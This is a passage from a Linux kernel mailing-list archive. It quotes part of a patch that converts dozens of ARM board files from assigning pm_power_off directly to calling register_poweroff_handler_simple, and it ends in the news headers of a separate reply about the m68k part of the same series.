> --- a/arch/arm/mach-bcm/board_bcm2835.c
> +++ b/arch/arm/mach-bcm/board_bcm2835.c
> @@ -111,7 +111,7 @@ static void __init bcm2835_init(void)
>  
>  	bcm2835_setup_restart();
>  	if (wdt_regs)
> -		pm_power_off = bcm2835_power_off;
> +		register_poweroff_handler_simple(bcm2835_power_off, 0);
>  
>  	bcm2835_init_clocks();
>  
> diff --git a/arch/arm/mach-cns3xxx/cns3420vb.c b/arch/arm/mach-cns3xxx/cns3420vb.c
> index d863d87..136b7c6 100644
> --- a/arch/arm/mach-cns3xxx/cns3420vb.c
> +++ b/arch/arm/mach-cns3xxx/cns3420vb.c
> @@ -224,7 +224,7 @@ static void __init cns3420_init(void)
>  	cns3xxx_ahci_init();
>  	cns3xxx_sdhci_init();
>  
> -	pm_power_off = cns3xxx_power_off;
> +	register_poweroff_handler_simple(cns3xxx_power_off, 128);
>  }
>  
>  static struct map_desc cns3420_io_desc[] __initdata = {
> diff --git a/arch/arm/mach-cns3xxx/core.c b/arch/arm/mach-cns3xxx/core.c
> index f85449a..79e6ead 100644
> --- a/arch/arm/mach-cns3xxx/core.c
> +++ b/arch/arm/mach-cns3xxx/core.c
> @@ -386,7 +386,7 @@ static void __init cns3xxx_init(void)
>  		cns3xxx_pwr_soft_rst(CNS3XXX_PWR_SOFTWARE_RST(SDIO));
>  	}
>  
> -	pm_power_off = cns3xxx_power_off;
> +	register_poweroff_handler_simple(cns3xxx_power_off, 128);
>  
>  	of_platform_populate(NULL, of_default_bus_match_table,
>                          cns3xxx_auxdata, NULL);
> diff --git a/arch/arm/mach-highbank/highbank.c b/arch/arm/mach-highbank/highbank.c
> index 8c35ae4..25d0134 100644
> --- a/arch/arm/mach-highbank/highbank.c
> +++ b/arch/arm/mach-highbank/highbank.c
> @@ -155,7 +155,7 @@ static void __init highbank_init(void)
>  	sregs_base = of_iomap(np, 0);
>  	WARN_ON(!sregs_base);
>  
> -	pm_power_off = highbank_power_off;
> +	register_poweroff_handler_simple(highbank_power_off, 0);
>  	highbank_pm_init();
>  
>  	bus_register_notifier(&platform_bus_type, &highbank_platform_nb);
> diff --git a/arch/arm/mach-imx/mach-mx31moboard.c b/arch/arm/mach-imx/mach-mx31moboard.c
> index bb6f8a5..9b3616f 100644
> --- a/arch/arm/mach-imx/mach-mx31moboard.c
> +++ b/arch/arm/mach-imx/mach-mx31moboard.c
> @@ -559,7 +559,7 @@ static void __init mx31moboard_init(void)
>  
>  	imx_add_platform_device("imx_mc13783", 0, NULL, 0, NULL, 0);
>  
> -	pm_power_off = mx31moboard_poweroff;
> +	register_poweroff_handler_simple(mx31moboard_poweroff, 128);
>  
>  	switch (mx31moboard_baseboard) {
>  	case MX31NOBOARD:
> diff --git a/arch/arm/mach-iop32x/em7210.c b/arch/arm/mach-iop32x/em7210.c
> index 77e1ff0..beeeb0c2 100644
> --- a/arch/arm/mach-iop32x/em7210.c
> +++ b/arch/arm/mach-iop32x/em7210.c
> @@ -201,7 +201,7 @@ static int __init em7210_request_gpios(void)
>  		return 0;
>  	}
>  
> -	pm_power_off = em7210_power_off;
> +	register_poweroff_handler_simple(em7210_power_off, 128);
>  
>  	return 0;
>  }
> diff --git a/arch/arm/mach-iop32x/glantank.c b/arch/arm/mach-iop32x/glantank.c
> index 547b234..050a8e6 100644
> --- a/arch/arm/mach-iop32x/glantank.c
> +++ b/arch/arm/mach-iop32x/glantank.c
> @@ -199,7 +199,7 @@ static void __init glantank_init_machine(void)
>  	i2c_register_board_info(0, glantank_i2c_devices,
>  		ARRAY_SIZE(glantank_i2c_devices));
>  
> -	pm_power_off = glantank_power_off;
> +	register_poweroff_handler_simple(glantank_power_off, 128);
>  }
>  
>  MACHINE_START(GLANTANK, "GLAN Tank")
> diff --git a/arch/arm/mach-iop32x/iq31244.c b/arch/arm/mach-iop32x/iq31244.c
> index 0e1392b..4e9b972 100644
> --- a/arch/arm/mach-iop32x/iq31244.c
> +++ b/arch/arm/mach-iop32x/iq31244.c
> @@ -293,7 +293,7 @@ static void __init iq31244_init_machine(void)
>  	platform_device_register(&iop3xx_dma_1_channel);
>  
>  	if (is_ep80219())
> -		pm_power_off = ep80219_power_off;
> +		register_poweroff_handler_simple(ep80219_power_off, 128);
>  
>  	if (!is_80219())
>  		platform_device_register(&iop3xx_aau_channel);
> diff --git a/arch/arm/mach-iop32x/n2100.c b/arch/arm/mach-iop32x/n2100.c
> index c1cd80e..171d496 100644
> --- a/arch/arm/mach-iop32x/n2100.c
> +++ b/arch/arm/mach-iop32x/n2100.c
> @@ -356,7 +356,7 @@ static void __init n2100_init_machine(void)
>  	i2c_register_board_info(0, n2100_i2c_devices,
>  		ARRAY_SIZE(n2100_i2c_devices));
>  
> -	pm_power_off = n2100_power_off;
> +	register_poweroff_handler_simple(n2100_power_off, 128);
>  }
>  
>  MACHINE_START(N2100, "Thecus N2100")
> diff --git a/arch/arm/mach-ixp4xx/dsmg600-setup.c b/arch/arm/mach-ixp4xx/dsmg600-setup.c
> index 43ee06d..6fb5072 100644
> --- a/arch/arm/mach-ixp4xx/dsmg600-setup.c
> +++ b/arch/arm/mach-ixp4xx/dsmg600-setup.c
> @@ -281,7 +281,7 @@ static void __init dsmg600_init(void)
>  
>  	platform_add_devices(dsmg600_devices, ARRAY_SIZE(dsmg600_devices));
>  
> -	pm_power_off = dsmg600_power_off;
> +	register_poweroff_handler_simple(dsmg600_power_off, 128);
>  }
>  
>  MACHINE_START(DSMG600, "D-Link DSM-G600 RevA")
> diff --git a/arch/arm/mach-ixp4xx/nas100d-setup.c b/arch/arm/mach-ixp4xx/nas100d-setup.c
> index 4e0f762..bd9a8d6 100644
> --- a/arch/arm/mach-ixp4xx/nas100d-setup.c
> +++ b/arch/arm/mach-ixp4xx/nas100d-setup.c
> @@ -292,7 +292,7 @@ static void __init nas100d_init(void)
>  
>  	platform_add_devices(nas100d_devices, ARRAY_SIZE(nas100d_devices));
>  
> -	pm_power_off = nas100d_power_off;
> +	register_poweroff_handler_simple(nas100d_power_off, 128);
>  
>  	if (request_irq(gpio_to_irq(NAS100D_RB_GPIO), &nas100d_reset_handler,
>  		IRQF_TRIGGER_LOW, "NAS100D reset button", NULL) < 0) {
> diff --git a/arch/arm/mach-ixp4xx/nslu2-setup.c b/arch/arm/mach-ixp4xx/nslu2-setup.c
> index 88c025f..c4c5475 100644
> --- a/arch/arm/mach-ixp4xx/nslu2-setup.c
> +++ b/arch/arm/mach-ixp4xx/nslu2-setup.c
> @@ -262,7 +262,7 @@ static void __init nslu2_init(void)
>  
>  	platform_add_devices(nslu2_devices, ARRAY_SIZE(nslu2_devices));
>  
> -	pm_power_off = nslu2_power_off;
> +	register_poweroff_handler_simple(nslu2_power_off, 128);
>  
>  	if (request_irq(gpio_to_irq(NSLU2_RB_GPIO), &nslu2_reset_handler,
>  		IRQF_TRIGGER_LOW, "NSLU2 reset button", NULL) < 0) {
> diff --git a/arch/arm/mach-omap2/board-omap3touchbook.c b/arch/arm/mach-omap2/board-omap3touchbook.c
> index 70b904c..0c0a0e2 100644
> --- a/arch/arm/mach-omap2/board-omap3touchbook.c
> +++ b/arch/arm/mach-omap2/board-omap3touchbook.c
> @@ -344,7 +344,7 @@ static void __init omap3_touchbook_init(void)
>  {
>  	omap3_mux_init(board_mux, OMAP_PACKAGE_CBB);
>  
> -	pm_power_off = omap3_touchbook_poweroff;
> +	register_poweroff_handler_simple(omap3_touchbook_poweroff, 128);
>  
>  	if (system_rev >= 0x20 && system_rev <= 0x34301000) {
>  		omap_mux_init_gpio(23, OMAP_PIN_INPUT);
> diff --git a/arch/arm/mach-orion5x/board-mss2.c b/arch/arm/mach-orion5x/board-mss2.c
> index 66f9c3b..3840d66 100644
> --- a/arch/arm/mach-orion5x/board-mss2.c
> +++ b/arch/arm/mach-orion5x/board-mss2.c
> @@ -86,5 +86,5 @@ static void mss2_power_off(void)
>  void __init mss2_init(void)
>  {
>  	/* register mss2 specific power-off method */
> -	pm_power_off = mss2_power_off;
> +	register_poweroff_handler_simple(mss2_power_off, 0);
>  }
> diff --git a/arch/arm/mach-orion5x/dns323-setup.c b/arch/arm/mach-orion5x/dns323-setup.c
> index 56edeab..353ca3d 100644
> --- a/arch/arm/mach-orion5x/dns323-setup.c
> +++ b/arch/arm/mach-orion5x/dns323-setup.c
> @@ -669,7 +669,7 @@ static void __init dns323_init(void)
>  		if (gpio_request(DNS323_GPIO_POWER_OFF, "POWEROFF") != 0 ||
>  		    gpio_direction_output(DNS323_GPIO_POWER_OFF, 0) != 0)
>  			pr_err("DNS-323: failed to setup power-off GPIO\n");
> -		pm_power_off = dns323a_power_off;
> +		register_poweroff_handler_simple(dns323a_power_off, 128);
>  		break;
>  	case DNS323_REV_B1:
>  		/* 5182 built-in SATA init */
> @@ -686,7 +686,7 @@ static void __init dns323_init(void)
>  		if (gpio_request(DNS323_GPIO_POWER_OFF, "POWEROFF") != 0 ||
>  		    gpio_direction_output(DNS323_GPIO_POWER_OFF, 0) != 0)
>  			pr_err("DNS-323: failed to setup power-off GPIO\n");
> -		pm_power_off = dns323b_power_off;
> +		register_poweroff_handler_simple(dns323b_power_off, 128);
>  		break;
>  	case DNS323_REV_C1:
>  		/* 5182 built-in SATA init */
> @@ -696,7 +696,7 @@ static void __init dns323_init(void)
>  		if (gpio_request(DNS323C_GPIO_POWER_OFF, "POWEROFF") != 0 ||
>  		    gpio_direction_output(DNS323C_GPIO_POWER_OFF, 0) != 0)
>  			pr_err("DNS-323: failed to setup power-off GPIO\n");
> -		pm_power_off = dns323c_power_off;
> +		register_poweroff_handler_simple(dns323c_power_off, 128);
>  
>  		/* Now, -this- should theorically be done by the sata_mv driver
>  		 * once I figure out what's going on there. Maybe the behaviour
> diff --git a/arch/arm/mach-orion5x/kurobox_pro-setup.c b/arch/arm/mach-orion5x/kurobox_pro-setup.c
> index fe6a48a..c4101f1 100644
> --- a/arch/arm/mach-orion5x/kurobox_pro-setup.c
> +++ b/arch/arm/mach-orion5x/kurobox_pro-setup.c
> @@ -376,7 +376,7 @@ static void __init kurobox_pro_init(void)
>  	i2c_register_board_info(0, &kurobox_pro_i2c_rtc, 1);
>  
>  	/* register Kurobox Pro specific power-off method */
> -	pm_power_off = kurobox_pro_power_off;
> +	register_poweroff_handler_simple(kurobox_pro_power_off, 128);
>  }
>  
>  #ifdef CONFIG_MACH_KUROBOX_PRO
> diff --git a/arch/arm/mach-orion5x/ls-chl-setup.c b/arch/arm/mach-orion5x/ls-chl-setup.c
> index 028ea03..005bb04 100644
> --- a/arch/arm/mach-orion5x/ls-chl-setup.c
> +++ b/arch/arm/mach-orion5x/ls-chl-setup.c
> @@ -312,7 +312,7 @@ static void __init lschl_init(void)
>  	gpio_set_value(LSCHL_GPIO_USB_POWER, 1);
>  
>  	/* register power-off method */
> -	pm_power_off = lschl_power_off;
> +	register_poweroff_handler_simple(lschl_power_off, 0);
>  
>  	pr_info("%s: finished\n", __func__);
>  }
> diff --git a/arch/arm/mach-orion5x/ls_hgl-setup.c b/arch/arm/mach-orion5x/ls_hgl-setup.c
> index 32b7129..37c29a0 100644
> --- a/arch/arm/mach-orion5x/ls_hgl-setup.c
> +++ b/arch/arm/mach-orion5x/ls_hgl-setup.c
> @@ -259,7 +259,7 @@ static void __init ls_hgl_init(void)
>  	gpio_set_value(LS_HGL_GPIO_USB_POWER, 1);
>  
>  	/* register power-off method */
> -	pm_power_off = ls_hgl_power_off;
> +	register_poweroff_handler_simple(ls_hgl_power_off, 0);
>  
>  	pr_info("%s: finished\n", __func__);
>  }
> diff --git a/arch/arm/mach-orion5x/lsmini-setup.c b/arch/arm/mach-orion5x/lsmini-setup.c
> index a6493e7..ffec72f 100644
> --- a/arch/arm/mach-orion5x/lsmini-setup.c
> +++ b/arch/arm/mach-orion5x/lsmini-setup.c
> @@ -260,7 +260,7 @@ static void __init lsmini_init(void)
>  	gpio_set_value(LSMINI_GPIO_USB_POWER, 1);
>  
>  	/* register power-off method */
> -	pm_power_off = lsmini_power_off;
> +	register_poweroff_handler_simple(lsmini_power_off, 0);
>  
>  	pr_info("%s: finished\n", __func__);
>  }
> diff --git a/arch/arm/mach-orion5x/mv2120-setup.c b/arch/arm/mach-orion5x/mv2120-setup.c
> index e032f01..dadc2b9 100644
> --- a/arch/arm/mach-orion5x/mv2120-setup.c
> +++ b/arch/arm/mach-orion5x/mv2120-setup.c
> @@ -225,7 +225,7 @@ static void __init mv2120_init(void)
>  	if (gpio_request(MV2120_GPIO_POWER_OFF, "POWEROFF") != 0 ||
>  	    gpio_direction_output(MV2120_GPIO_POWER_OFF, 1) != 0)
>  		pr_err("mv2120: failed to setup power-off GPIO\n");
> -	pm_power_off = mv2120_power_off;
> +	register_poweroff_handler_simple(mv2120_power_off, 128);
>  }
>  
>  /* Warning: HP uses a wrong mach-type (=526) in their bootloader */
> diff --git a/arch/arm/mach-orion5x/net2big-setup.c b/arch/arm/mach-orion5x/net2big-setup.c
> index ba73dc7..3a73dce 100644
> --- a/arch/arm/mach-orion5x/net2big-setup.c
> +++ b/arch/arm/mach-orion5x/net2big-setup.c
> @@ -413,7 +413,7 @@ static void __init net2big_init(void)
>  
>  	if (gpio_request(NET2BIG_GPIO_POWER_OFF, "power-off") == 0 &&
>  	    gpio_direction_output(NET2BIG_GPIO_POWER_OFF, 0) == 0)
> -		pm_power_off = net2big_power_off;
> +		register_poweroff_handler_simple(net2big_power_off, 128);
>  	else
>  		pr_err("net2big: failed to configure power-off GPIO\n");
>  
> diff --git a/arch/arm/mach-orion5x/terastation_pro2-setup.c b/arch/arm/mach-orion5x/terastation_pro2-setup.c
> index 6208d12..2a234cb 100644
> --- a/arch/arm/mach-orion5x/terastation_pro2-setup.c
> +++ b/arch/arm/mach-orion5x/terastation_pro2-setup.c
> @@ -353,7 +353,7 @@ static void __init tsp2_init(void)
>  	i2c_register_board_info(0, &tsp2_i2c_rtc, 1);
>  
>  	/* register Terastation Pro II specific power-off method */
> -	pm_power_off = tsp2_power_off;
> +	register_poweroff_handler_simple(tsp2_power_off, 128);
>  }
>  
>  MACHINE_START(TERASTATION_PRO2, "Buffalo Terastation Pro II/Live")
> diff --git a/arch/arm/mach-orion5x/ts209-setup.c b/arch/arm/mach-orion5x/ts209-setup.c
> index 9136797..50bdfbc 100644
> --- a/arch/arm/mach-orion5x/ts209-setup.c
> +++ b/arch/arm/mach-orion5x/ts209-setup.c
> @@ -318,7 +318,7 @@ static void __init qnap_ts209_init(void)
>  	i2c_register_board_info(0, &qnap_ts209_i2c_rtc, 1);
>  
>  	/* register tsx09 specific power-off method */
> -	pm_power_off = qnap_tsx09_power_off;
> +	register_poweroff_handler_simple(qnap_tsx09_power_off, 128);
>  }
>  
>  MACHINE_START(TS209, "QNAP TS-109/TS-209")
> diff --git a/arch/arm/mach-orion5x/ts409-setup.c b/arch/arm/mach-orion5x/ts409-setup.c
> index 5c079d31..06a7cc0 100644
> --- a/arch/arm/mach-orion5x/ts409-setup.c
> +++ b/arch/arm/mach-orion5x/ts409-setup.c
> @@ -307,7 +307,7 @@ static void __init qnap_ts409_init(void)
>  	platform_device_register(&ts409_leds);
>  
>  	/* register tsx09 specific power-off method */
> -	pm_power_off = qnap_tsx09_power_off;
> +	register_poweroff_handler_simple(qnap_tsx09_power_off, 128);
>  }
>  
>  MACHINE_START(TS409, "QNAP TS-409")
> diff --git a/arch/arm/mach-pxa/corgi.c b/arch/arm/mach-pxa/corgi.c
> index 06022b2..a93bac0 100644
> --- a/arch/arm/mach-pxa/corgi.c
> +++ b/arch/arm/mach-pxa/corgi.c
> @@ -718,7 +718,7 @@ static void corgi_restart(enum reboot_mode mode, const char *cmd)
>  
>  static void __init corgi_init(void)
>  {
> -	pm_power_off = corgi_poweroff;
> +	register_poweroff_handler_simple(corgi_poweroff, 0);
>  
>  	/* Stop 3.6MHz and drive HIGH to PCMCIA and CS */
>  	PCFR |= PCFR_OPDE;
> diff --git a/arch/arm/mach-pxa/mioa701.c b/arch/arm/mach-pxa/mioa701.c
> index 29997bd..c4345a4 100644
> --- a/arch/arm/mach-pxa/mioa701.c
> +++ b/arch/arm/mach-pxa/mioa701.c
> @@ -750,7 +750,7 @@ static void __init mioa701_machine_init(void)
>  	pxa_set_keypad_info(&mioa701_keypad_info);
>  	pxa_set_udc_info(&mioa701_udc_info);
>  	pxa_set_ac97_info(&mioa701_ac97_info);
> -	pm_power_off = mioa701_poweroff;
> +	register_poweroff_handler_simple(mioa701_poweroff, 0);
>  	platform_add_devices(devices, ARRAY_SIZE(devices));
>  	gsm_init();
>  
> diff --git a/arch/arm/mach-pxa/poodle.c b/arch/arm/mach-pxa/poodle.c
> index 1319916..c9536ed 100644
> --- a/arch/arm/mach-pxa/poodle.c
> +++ b/arch/arm/mach-pxa/poodle.c
> @@ -432,7 +432,7 @@ static void __init poodle_init(void)
>  {
>  	int ret = 0;
>  
> -	pm_power_off = poodle_poweroff;
> +	register_poweroff_handler_simple(poodle_poweroff, 0);
>  
>  	PCFR |= PCFR_OPDE;
>  
> diff --git a/arch/arm/mach-pxa/spitz.c b/arch/arm/mach-pxa/spitz.c
> index 840c3a4..09f0de8 100644
> --- a/arch/arm/mach-pxa/spitz.c
> +++ b/arch/arm/mach-pxa/spitz.c
> @@ -944,7 +944,7 @@ static void spitz_restart(enum reboot_mode mode, const char *cmd)
>  static void __init spitz_init(void)
>  {
>  	init_gpio_reset(SPITZ_GPIO_ON_RESET, 1, 0);
> -	pm_power_off = spitz_poweroff;
> +	register_poweroff_handler_simple(spitz_poweroff, 0);
>  
>  	PMCR = 0x00;
>  
> diff --git a/arch/arm/mach-pxa/tosa.c b/arch/arm/mach-pxa/tosa.c
> index c158a6e..3a4af1d 100644
> --- a/arch/arm/mach-pxa/tosa.c
> +++ b/arch/arm/mach-pxa/tosa.c
> @@ -940,7 +940,7 @@ static void __init tosa_init(void)
>  
>  	init_gpio_reset(TOSA_GPIO_ON_RESET, 0, 0);
>  
> -	pm_power_off = tosa_poweroff;
> +	register_poweroff_handler_simple(tosa_poweroff, 0);
>  
>  	PCFR |= PCFR_OPDE;
>  
> diff --git a/arch/arm/mach-pxa/viper.c b/arch/arm/mach-pxa/viper.c
> index de3b080..679c8ea 100644
> --- a/arch/arm/mach-pxa/viper.c
> +++ b/arch/arm/mach-pxa/viper.c
> @@ -919,7 +919,7 @@ static void __init viper_init(void)
>  {
>  	u8 version;
>  
> -	pm_power_off = viper_power_off;
> +	register_poweroff_handler_simple(viper_power_off, 128);
>  
>  	pxa2xx_mfp_config(ARRAY_AND_SIZE(viper_pin_config));
>  
> diff --git a/arch/arm/mach-pxa/z2.c b/arch/arm/mach-pxa/z2.c
> index e1a121b..e0195ac 100644
> --- a/arch/arm/mach-pxa/z2.c
> +++ b/arch/arm/mach-pxa/z2.c
> @@ -693,8 +693,6 @@ static void z2_power_off(void)
>  	pxa27x_set_pwrmode(PWRMODE_DEEPSLEEP);
>  	pxa27x_cpu_pm_enter(PM_SUSPEND_MEM);
>  }
> -#else
> -#define z2_power_off   NULL
>  #endif
>  
>  /******************************************************************************
> @@ -719,7 +717,9 @@ static void __init z2_init(void)
>  	z2_keys_init();
>  	z2_pmic_init();
>  
> -	pm_power_off = z2_power_off;
> +#ifdef CONFIG_PM
> +	register_poweroff_handler_simple(z2_power_off, 0);
> +#endif
>  }
>  
>  MACHINE_START(ZIPIT2, "Zipit Z2")
> diff --git a/arch/arm/mach-pxa/zeus.c b/arch/arm/mach-pxa/zeus.c
> index 205f9bf..6118fd5 100644
> --- a/arch/arm/mach-pxa/zeus.c
> +++ b/arch/arm/mach-pxa/zeus.c
> @@ -690,8 +690,6 @@ static void zeus_power_off(void)
>  	local_irq_disable();
>  	cpu_suspend(PWRMODE_DEEPSLEEP, pxa27x_finish_suspend);
>  }
> -#else
> -#define zeus_power_off   NULL
>  #endif
>  
>  #ifdef CONFIG_APM_EMULATION
> @@ -847,7 +845,9 @@ static void __init zeus_init(void)
>  	__raw_writel(msc0, MSC0);
>  	__raw_writel(msc1, MSC1);
>  
> -	pm_power_off = zeus_power_off;
> +#ifdef CONFIG_PM
> +	register_poweroff_handler_simple(zeus_power_off, 0);
> +#endif
>  	zeus_setup_apm();
>  
>  	pxa2xx_mfp_config(ARRAY_AND_SIZE(zeus_pin_config));
> diff --git a/arch/arm/mach-s3c24xx/mach-gta02.c b/arch/arm/mach-s3c24xx/mach-gta02.c
> index fc3a08d..ca78150 100644
> --- a/arch/arm/mach-s3c24xx/mach-gta02.c
> +++ b/arch/arm/mach-s3c24xx/mach-gta02.c
> @@ -579,7 +579,7 @@ static void __init gta02_machine_init(void)
>  	i2c_register_board_info(0, gta02_i2c_devs, ARRAY_SIZE(gta02_i2c_devs));
>  
>  	platform_add_devices(gta02_devices, ARRAY_SIZE(gta02_devices));
> -	pm_power_off = gta02_poweroff;
> +	register_poweroff_handler_simple(gta02_poweroff, 128);
>  
>  	regulator_has_full_constraints();
>  }
> diff --git a/arch/arm/mach-s3c24xx/mach-jive.c b/arch/arm/mach-s3c24xx/mach-jive.c
> index 7804d3c..5a828a3 100644
> --- a/arch/arm/mach-s3c24xx/mach-jive.c
> +++ b/arch/arm/mach-s3c24xx/mach-jive.c
> @@ -657,7 +657,7 @@ static void __init jive_machine_init(void)
>  	s3c_i2c0_set_platdata(&jive_i2c_cfg);
>  	i2c_register_board_info(0, jive_i2c_devs, ARRAY_SIZE(jive_i2c_devs));
>  
> -	pm_power_off = jive_power_off;
> +	register_poweroff_handler_simple(jive_power_off, 128);
>  
>  	platform_add_devices(jive_devices, ARRAY_SIZE(jive_devices));
>  }
> diff --git a/arch/arm/mach-s3c24xx/mach-vr1000.c b/arch/arm/mach-s3c24xx/mach-vr1000.c
> index f88c584..40d7655 100644
> --- a/arch/arm/mach-s3c24xx/mach-vr1000.c
> +++ b/arch/arm/mach-s3c24xx/mach-vr1000.c
> @@ -306,7 +306,7 @@ static void vr1000_power_off(void)
>  
>  static void __init vr1000_map_io(void)
>  {
> -	pm_power_off = vr1000_power_off;
> +	register_poweroff_handler_simple(vr1000_power_off, 128);
>  
>  	s3c24xx_init_io(vr1000_iodesc, ARRAY_SIZE(vr1000_iodesc));
>  	s3c24xx_init_uarts(vr1000_uartcfgs, ARRAY_SIZE(vr1000_uartcfgs));
> diff --git a/arch/arm/mach-s3c64xx/mach-smartq.c b/arch/arm/mach-s3c64xx/mach-smartq.c
> index b3d1353..61f0893 100644
> --- a/arch/arm/mach-s3c64xx/mach-smartq.c
> +++ b/arch/arm/mach-s3c64xx/mach-smartq.c
> @@ -291,7 +291,7 @@ static int __init smartq_power_off_init(void)
>  	/* leave power on */
>  	gpio_direction_output(S3C64XX_GPK(15), 0);
>  
> -	pm_power_off = smartq_power_off;
> +	register_poweroff_handler_simple(smartq_power_off, 128);
>  
>  	return ret;
>  }
> diff --git a/arch/arm/mach-sa1100/generic.c b/arch/arm/mach-sa1100/generic.c
> index d4ea142..6b839cf 100644
> --- a/arch/arm/mach-sa1100/generic.c
> +++ b/arch/arm/mach-sa1100/generic.c
> @@ -311,7 +311,7 @@ static struct platform_device *sa11x0_devices[] __initdata = {
>  
>  static int __init sa1100_init(void)
>  {
> -	pm_power_off = sa1100_power_off;
> +	register_poweroff_handler_simple(sa1100_power_off, 0);
>  	return platform_add_devices(sa11x0_devices, ARRAY_SIZE(sa11x0_devices));
>  }
>  
> diff --git a/arch/arm/mach-sa1100/simpad.c b/arch/arm/mach-sa1100/simpad.c
> index 41e476e..a65ca58 100644
> --- a/arch/arm/mach-sa1100/simpad.c
> +++ b/arch/arm/mach-sa1100/simpad.c
> @@ -373,7 +373,7 @@ static int __init simpad_init(void)
>  	if (ret)
>  		printk(KERN_WARNING "simpad: Unable to register cs3 GPIO device");
>  
> -	pm_power_off = simpad_power_off;
> +	register_poweroff_handler_simple(simpad_power_off, 0);
>  
>  	sa11x0_ppc_configure_mcp();
>  	sa11x0_register_mtd(&simpad_flash_data, simpad_flash_resources,
> diff --git a/arch/arm/mach-u300/regulator.c b/arch/arm/mach-u300/regulator.c
> index 0493a84..c98eb6e 100644
> --- a/arch/arm/mach-u300/regulator.c
> +++ b/arch/arm/mach-u300/regulator.c
> @@ -98,7 +98,7 @@ static int __init __u300_init_boardpower(struct platform_device *pdev)
>  			   U300_SYSCON_PMCR_DCON_ENABLE, 0);
>  
>  	/* Register globally exported PM poweroff hook */
> -	pm_power_off = u300_pm_poweroff;
> +	register_poweroff_handler_simple(u300_pm_poweroff, 128);
>  
>  	return 0;
>  }
> diff --git a/arch/arm/mach-vt8500/vt8500.c b/arch/arm/mach-vt8500/vt8500.c
> index 2da7be3..515946b 100644
> --- a/arch/arm/mach-vt8500/vt8500.c
> +++ b/arch/arm/mach-vt8500/vt8500.c
> @@ -155,7 +155,7 @@ static void __init vt8500_init(void)
>  			pr_err("%s:ioremap(power_off) failed\n", __func__);
>  	}
>  	if (pmc_base)
> -		pm_power_off = &vt8500_power_off;
> +		register_poweroff_handler_simple(vt8500_power_off, 0);
>  	else
>  		pr_err("%s: PMC Hibernation register could not be remapped, not enabling power off!\n", __func__);
>  
> diff --git a/arch/arm/xen/enlighten.c b/arch/arm/xen/enlighten.c
> index 0e15f01..0da639b 100644
> --- a/arch/arm/xen/enlighten.c
> +++ b/arch/arm/xen/enlighten.c
> @@ -336,7 +336,7 @@ static int __init xen_pm_init(void)
>  	if (!xen_domain())
>  		return -ENODEV;
>  
> -	pm_power_off = xen_power_off;
> +	register_poweroff_handler_simple(xen_power_off, 128);
>  	arm_pm_restart = xen_restart;
>  
>  	return 0;
> 


-- 
Nicolas Ferre
--
To unsubscribe from this list: send the line "unsubscribe linux-acpi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 04/44] m68k: Replace mach_power_off with pm_power_off
Date: Tue, 7 Oct 2014 10:29:52 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <CAMuHMdVK+h0DAysDrfYQSwN9zjygTpHRkdkfeDucyoTBN5f=+w@mail.gmail.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
	<1412659726-29957-5-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1412670608 24766 80.91.229.3 (7 Oct 2014 08:30:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 08:30:08 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"adi-buildroot-devel@lists.sourceforge.net" 
	<adi-buildroot-devel@lists.sourceforge.net>,
	driverdevel <devel@driverdev.osuosl.org>,
	"devicetree@vger.kernel.org" <devicetree@vger.kernel.org>,
	lguest@lists.ozlabs.org,
	ACPI Devel Maling List <linux-acpi@vger.kernel.org>,
	alpha <linux-alpha@vger.kernel.org>,
	"moderated list:PANASONIC MN10300..." <linux-am33-list@redhat.com>,
	Cris <linux-cris-kernel@axis.com>, linux-efi@vger.kernel.org,
	"open list:QUALCOMM HEXAGON..." <linux-hexagon@vger.kernel.org>,
	linux-m32r-ja@ml.linux-m32r.org,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	linux-s390 <linux-s390@vger.kernel.org>,
	linux-tegra@vger.kernel.org,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	openipmi-developer@lists.sourceforge.net,
	uml-devel <user-mode-linux-devel@lists.s
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Oct 07 10:29:58 2014
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1XbQ9d-0007on-JD
	for glpm-linux-m68k@plane.gmane.org; Tue, 07 Oct 2014 10:29:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753269AbaJGI34 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 7 Oct 2014 04:29:56 -0400
Original-Received: from mail-lb0-f182.google.com ([209.85.217.182]:34213 "EHLO
	mail-lb0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752846AbaJGI3y (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 7 Oct 2014 04:29:54 -0400
Original-Received: by mail-lb0-f182.google.com with SMTP id z11so5526615lbi.41
        for <linux-m68k@lists.linux-m68k.org>; Tue, 07 Oct 2014 01:29:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
